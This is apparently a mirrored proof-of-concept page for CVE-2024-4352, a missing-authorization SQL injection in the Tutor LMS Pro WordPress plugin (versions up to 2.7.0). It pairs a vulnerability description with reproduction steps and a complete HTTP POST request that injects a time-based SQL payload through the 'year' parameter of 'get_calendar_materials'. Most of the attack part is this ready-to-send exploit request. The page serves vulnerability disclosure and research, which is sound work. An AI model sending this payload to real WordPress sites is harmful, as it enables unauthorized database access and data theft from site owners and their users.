Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-4352 PoC — WordPress Plugin Tutor LMS Pro 安全漏洞

Source
Associated Vulnerability
Title:WordPress Plugin Tutor LMS Pro 安全漏洞 (CVE-2024-4352)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress Plugin Tutor LMS Pro 2.7.0及之前版本存在安全漏洞,该漏洞源于缺少功能检查,容易受到未经授权的数据访问和数据修改,从而导致数据丢失。
Description
CVE-2024-4352 Tutor LMS Pro <= 2.7.0 - Missing Authorization to SQL Injection
Readme
# CVE-2024-4352-Poc
CVE-2024-4352 Tutor LMS Pro &lt;= 2.7.0 - Missing Authorization to SQL Injection

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tutor-pro/tutor-lms-pro-270-missing-authorization-to-sql-injection

Description

The Tutor LMS Pro plugin for WordPress is vulnerable to unauthorized access of data, modification of data, loss of data due to a missing capability check on the 'get_calendar_materials' function. The plugin is also vulnerable to SQL Injection via the ‘year’ parameter of that function due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Vulnerable addon calendar

File: addons\calendar\classes\Tutor_Calendar.php
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/1367d596-a948-4dd7-b933-9eef7f49d82c)
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/81d58487-f649-4fb4-81d8-e3abf85cc9e7)
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/9ce9c82f-f6c7-4e62-ba67-2ed87e0ed4c0)


Steps to Reproduce:

1. Register an account and enroll in the course
2. Send request with payload
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cookie: {{Cookie}}
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=get_calendar_materials&year=0+or+sleep(if(1=1,5,0))&month=1&_tutor_nonce={{_tutor_nonce}}
```

![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/1d019677-1236-4a69-8d96-9fa1b353786f)
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/9372d19f-0a42-4baa-ae28-71baba17adca)


Poc

https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/cf686a9f-2f51-4402-88f5-73f29fcdf3d7

File Snapshot

[4.0K] /data/pocs/a726b26b7c823686a605994337d80704267f6341 ├── [2.2K] README.md └── [7.2M] tutorpro270n.rar 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.